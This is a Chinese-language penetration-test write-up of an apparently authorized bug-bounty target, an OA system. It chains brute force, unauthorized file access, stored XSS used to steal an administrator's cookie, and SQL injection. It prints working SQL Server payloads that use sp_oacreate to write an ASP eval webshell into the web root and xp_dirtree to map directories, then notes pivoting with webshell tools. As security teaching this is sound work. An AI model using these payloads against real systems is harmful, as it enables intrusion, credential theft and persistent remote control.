严正声明

截至发稿前,已将漏洞提交厂商并验证其已完成修复。本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。

前言

本文为记录实战过程中遇到的问题及思考,旨在思路分享及自我总结。文中涉及目标站点为SRC授权站点,为防止漏打码已对实际链接进行了部分删减,如去除了链接目录名等。整个测试过程涉及未授权访问、暴力破解、存储型XSS、SQL注入,到最后拿shell,过程略微曲折。

信息收集

打开目标站点,为系统登录界面。安装VNC远程协助链接到内网地址,经测试登录无验证码及失败次数锁定,可尝试暴力破解,此处先做信息收集。

目标站点:http://1.2.3.4/login.aspx
脚本:aspx,通过登录页面可知;
服务器:IIS7.5,通过404、403报错页面可得;
数据库:可能为SQL Server,常见组合;

安全防护:未知,对IP进行端口扫描会封一段时间,但测试and 1=1不拦,无WAF或未开启严格的防护策略;

通过查看返回包,发现Server为nginx/1.17.2,判断应该存在反向代理。

暴力破解

通过对现有信息的分析,优先选择暴力破解,系统首页登录为密码md5前端加密后传输,此处爆破需选择burp的HASH-MD5后进行爆破。
 系统登录失败返回信息都为“登录失败xxx”,无法确认是否存在用户。

查看页面源码发现存在http://1.2.3.4/client/
 此页面未对密码进行md5加密,即
 首页:http://1.2.3.4/    密码加密后传输
 Client:http://1.2.3.4/client/  密码明文传输

此处用http://1.2.3.4/client/ 进行爆破,不需要进行MD5加密可提高效率,但使用name500及自定义字典,包括常见测试账号,及3位数字,4位数字,5位数字等组成5000多个用户名,爆破密码123456、888888、111111,结果一个都没爆破到。

当时的思路是先确定用户名,例如工号等,再去爆破其中存在弱口令的账号,并未想着直接爆破admin,因为那时觉得后台可能不在这里登录,现在想想也可以直接盲爆admin用户。

所以那时先收集用户名,使用Google语法,Site:xxx 工号,但并没有收获。针对只有登录界面的系统,只有掌握了用户名的规律,才能提高爆破的机率,此处很有可能是工号。用户名收集无果,便打开了目录扫描,看看有无敏感信息。

未授权访问

通过对站点进行目录扫描,存在以下目录及文件。

main.aspx访问弹登陆超时,跳转登陆界面,禁用js返回页面如下:

逐一进行访问:css.aspx访问弹出登陆超时,跳转登陆界面,禁用js访问空白;reg.aspx访问为软件注册页面;

查看源码,发现存在main_d.aspx如下:

禁用js访问main_d.aspx返回以下页面:

继续查看源码,发现以下地址通过对站点进行目录扫描,存在以下目录及文件。

禁用js访问http://1.2.3.4/MyWork/Richeng/RichengmyList_show.aspx?id=12点击修改,此处已测试id不存在SQL注入。

该页面存在大量附件,其中有体检附件登记表,点击下载链接如下:

点击下载跳转登陆界面

此处感觉是有任意文件下载,但可能需要登录,后续爆破出账户后可测试。
http://1.2.3.4/file_down.aspx?number=file/liaotian/201922xx.xls

需下载文件,尝试构造http://1.2.3.4/file/liaotian/201922xx.xls

如上获取到该单位的员工工号,使用excel生成工号列表进行暴力破解。

登录系统

上述已获取工号组合,生成01111-05555进行爆破,使用密码123456、111111、888888、123qwe、qwe123、123123、123321。当使用密码123321时,成功爆破出一个弱口令用户。

使用该账号登录系统

系统功能模块较多,测试前面的文件下载
http://1.2.3.4/file_down.aspx?number=file/liaotian/201922xx.xls

尝试下载web.config
http://1.2.3.4/file_down.aspx?number=web.config

测试不存在任意文件下载,修改文件后是直接Location到文件,从而下载,后续对系统的功能点逐个进行测试。

文件上传

后台功能主要存在以下4个上传点。上传点1-印章上传:

上传点2-邮件附件:

上传点3-头像上传

上传点4:KindEditor 4.1.10 编辑器,貌似无解。
上传点1,文件上传后的路径为:/seal/2021815238.png
此目录未限制禁止脚本执行,但无法上传脚本文件,尝试绕过均失败。

上传点2,文件上传后的路径为:/file/emailfile/2021081523.png

此目录限制了脚本执行,即/file目录下不能执行脚本文件。

此上传点可上传aspx等文件,但上传后后缀为.unknow

后续通过注入点发现上传后缀写在数据库中,可以通过update语句增加后缀,但并无跨目录的方法,即使上传了aspx脚本文件,也无法执行。

上传文件后截图如下:

后续查看数据库,允许上传的文件后缀如下:

上传点3,任意文件上传,上传后路径为/SystemManage/User/file/ 下,测试目录限制脚本执行,无法跨目录。

存储型XSS

上面针对后台上传功能测试后无法上传getshell,便考虑是否能找到高权限账号,管理员账号可能有修改上传文件格式的权限。

此时测试邮件存在存储型XSS,发送邮件可以打用户cookie。

发送邮件给自己,收件箱打开时:

可以给管理员发送带XSS的邮件,当管理员打开邮件时,即可以获取管理员的cookie,此处配合server酱,可实现获取cookie后微信提醒通知,同样发送邮件给自己测试。

编写邮件,插入XSS平台payload。

收件箱点开后

微信收到Server酱通知

登录XSS平台查看,成功获取用户cookie信息

此处构造好XSS后,给管理员发送了标题为【问题建议】的邮件,增加管理员打开的概率,即打开邮件可获取管理员的cookie。

同时在邮件选择收件人处,发现组织架构处,可列举所有用户的工号、科室、姓名信息。

故可以收集用户工号,此处发现管理员即为admin,在等待xss的同时,也构造字典对admin进行爆破。

然后竟然成功爆破出了admin的密码,看了下密码在“全国弱口令TOP1000”中没有,如果一开始就爆破admin,可能也爆不出来,个人习惯是爆TOP1000,当初也确定不了管理员就是admin。

此处也说明有一个强字典是多么的重要。

使用admin登录系统后,只多了以下两个功能模块,很失望并没有可以修改上传设置的功能。

测试发现登录管理员也并没啥用,还是无法getshell,既然上传无门,那就寻找注入点,如果是sa的注入点则getshell的机率大很多。

SQL注入

于是又重新回到后台各个功能点进行测试,经过一番测试终于发现了一个注入点,链接如下:
测试1=1页面正常

测试1=2页面异常

爆数据库版本信息

如上确认存在SQL注入,使用sqlmap进行利用,当前用户为SA。

测试使用—os-shell命令失败,可能是有安全设备拦截。

此时也对数据库的大致表进行查看,发现了管理后台某个点的文件上传格式可在数据库设置后缀,但无法跨目录,故即使能上传脚本也无法getshell。

Getshell

经手工测试注入点支持堆叠注入,此处尝试使用sp_oacreate写马,SQL如下:
declare @f int,@g int;exec sp_oacreate 'Scripting.FileSystemObject',@f output;EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'c:\shell.asp',1;EXEC sp_oamethod  @f,'WriteLine',null,'<%eval request("cmd")%>'

但需知道网站根目录,此处可以使用xp_dirtree进行目录遍历,SQL如下:
create table dirs(subdirectory varchar(255),depth int, filee int);
insert dirs exec xp_dirtree 'c:\',1,1

建立表后,先执行以下查询,此处为查询c盘目录下的文件夹及文件:
http://1.2.3.4/WorkFlow/AddWorkFlow_add_Next.aspx?tmp=0.8307731177113578&add=&UpNodeNum=11,&FlowNumber=20189139012187';insert dirs exec xp_dirtree 'c:\',1,1;--&FormId=86&Number=202181414

页面返回正常,则语句执行成功,再去sqlmap查询dirs表下的内容,即为c盘的目录内容:

利用上述方式成功找到网站根目录为d:\OA\ 下。
执行SQL语句写入文件shell.asp
declare @f int,@g int;exec sp_oacreate 'Scripting.FileSystemObject',@f output;EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'d:\OA\shell.asp',1;EXEC sp_oamethod  @f,'WriteLine',null,'<%eval request("cmd")%>'

打开链接:http://1.2.3.4/shell.asp 空白,中国菜刀连接成功。

上传冰蝎,后续可以进行socks代理,从而进入内网。

通过systeminfo收集系统信息,可用于后续提权。

以上成功获得目标站点shell。

总结

渗透测试很多时候需要的细心和耐心再加上一点运气,当我们在后台无法getshell时,可以尝试去找后台的SQL注入,高权限的注入点可以直接写shell。

又或者当我们有一个SQL注入点却没法写shell时,可以尝试读管理员账号密码,登录后台测试是否有文件上传漏洞,从而进行拿shell。关注不同的漏洞危害,并进行组合利用,往往可以达到出其不意的效果。

至此全篇完,感谢阅读,希望您能从中有所收获。

戳“阅读原文”体验靶场实操

记录又一次实战GetShell相关推荐

  1. 实战getshell新姿势-SSRF漏洞利用与getshell实战

    实战getshell新姿势-SSRF漏洞利用与getshell实战 一.什么地方最容易出现SSRF 二.SSRF漏洞危害 三.SSRF 神器 Curl 的使用 四.最常用的跳转绕过 五.Python ...

  2. 记录一次实战GetShell

    一.文章前言 本文为记录实战过程中遇到的问题及思考,旨在思路分享及自我总结.文中涉及目标站点为SRC授权站点,为防止漏打码已对实际链接进行了部分删减,如去除了链接目录名等.整个测试过程涉及未授权访问. ...

  3. 记录 廖雪峰老师 实战 学习到 Day10的bug 以及解决方案

    1.点击注册按钮 没有反应 ,命令窗口提示 call with arg{ },说明数据没有传输成功 后来发现廖大的源码有几处修改了,但我没有发现 1 )app.py app.py 中添加了 def a ...

  4. 算法实战应用案例精讲-【自动化办公】使用Python操作PDF文档全记录(python代码实战)

    目录 前言 Python处理PDF Python处理PDF常用类库 PyPDF PyPDF4的安装 读取PDF 查看PDF信息

  5. 记录一下网络爬虫实战scrapy---某蜜蜂网站

    前言:最近在一个横向课题,其中需要做一个QA,由于没有数据,所以我们需要通过爬虫去获取 设计好schema,我们来看需要的数据 需要从上面这个页面获取到201条的url,再进入这些url中获取标题以及 ...

  6. python爬取股票大单历史记录_定向爬取股票数据——记录一次爬虫实战

    今天是八月2号,自学python爬虫已经一整个月了.不学不理解,真正学了才发现,python不愧是一门博大精深的高级编程语言,我学到现在也才只见识到它冰山一脚,python应用的范围即便相比于c.c+ ...

  7. hadoop学习-stream-Top K记录

    求海量数据中最大的K个记录 来源于<hadoop实战>(hadoop in action)(美 拉姆)第4.7章节有关stream的习题. 数据源:apat63_99.txt 专利描述数据 ...

  8. mvc5 ef6 mysql_[实战]MVC5+EF6+MySql企业网盘实战(17)——思考2

    写在前面 今天吃饭回来,突然有一个更好的想法,这里做一下记录. 系列文章 [实战]MVC5+EF6+MySql企业网盘实战(17)--思考2 思路 平时如果要获取电脑上的文件,大都会采用递归的方式,所 ...

  9. 面试突击 004 | 如何排查 Redis 中的慢查询?视频实战篇

    这是我的第 34 篇原创文章 作者 | 老王(javacn666) 1 面试题 如何排查 Redis 中的慢查询? 2 涉及相关问题 Redis 中有没有慢查询排查工具或者相关排查手段? 慢查询日志都 ...

最新文章

  1. Java 多线程 之 suspend挂起 线程实例
  2. 修改python plot折线图的坐标轴刻度
  3. Halcon模板轮廓坐标点获取
  4. ML/DL之预测分析类:利用机器学习算法进行预测分析的简介、分析、代码实现之详细攻略
  5. python内置函数多少个_每个数据科学家都应该知道的10个Python内置函数
  6. DOM 节点类型及属性
  7. SQL.H 通过此文件寻找sqlAPI编程的一种捷径
  8. Android应用程序线程消息循环模型分析(5)
  9. python热度评价指标_编程语言流行指数四月榜单发布:Python 持续强势,Java 热度减退...
  10. 《流畅的Python第二版》读书笔记
  11. PyTorch绘制训练过程的accuracy和loss曲线
  12. Fresco 5.0以上内存持续增长问题优化
  13. EIGRP协议的配置
  14. 视频教程-2020软考网络规划设计师基础知识视频教程-软考
  15. 为什么登录赛尔号显示服务器未开启,赛尔号之勇者无敌无法打开怎么办 赛尔号之勇者无敌登录不了解决方案...
  16. PL/SQL Developer用户登录ORA-01045 user lacks CREATE SESSION privilege logon denied
  17. 为什么下载小电影时,经常会卡在 99%?
  18. STM32借助Mbed OS多线程调节电脑音量
  19. iOS基础 关于UIKit框架
  20. python实现截取excel中的表格,生成图片

热门文章

  1. DRF实战5 - 商品管理
  2. 网络不通使用的PING命令是用的什么协议?
  3. Java 实现位运算计算加减乘除
  4. Linux shell基础之变量声明和处理
  5. 为什么都推崇测试先行?论软件测试先行的12个好处
  6. Qt 系统下的qm翻译文件
  7. php和thinkphp实现页面调转
  8. android4.42 版本k2x,斐讯K1 K2最新v22.4.x以上版本通用刷第三方固件教程
  9. linux sed 替换文件路径
  10. 个人博客作业Week3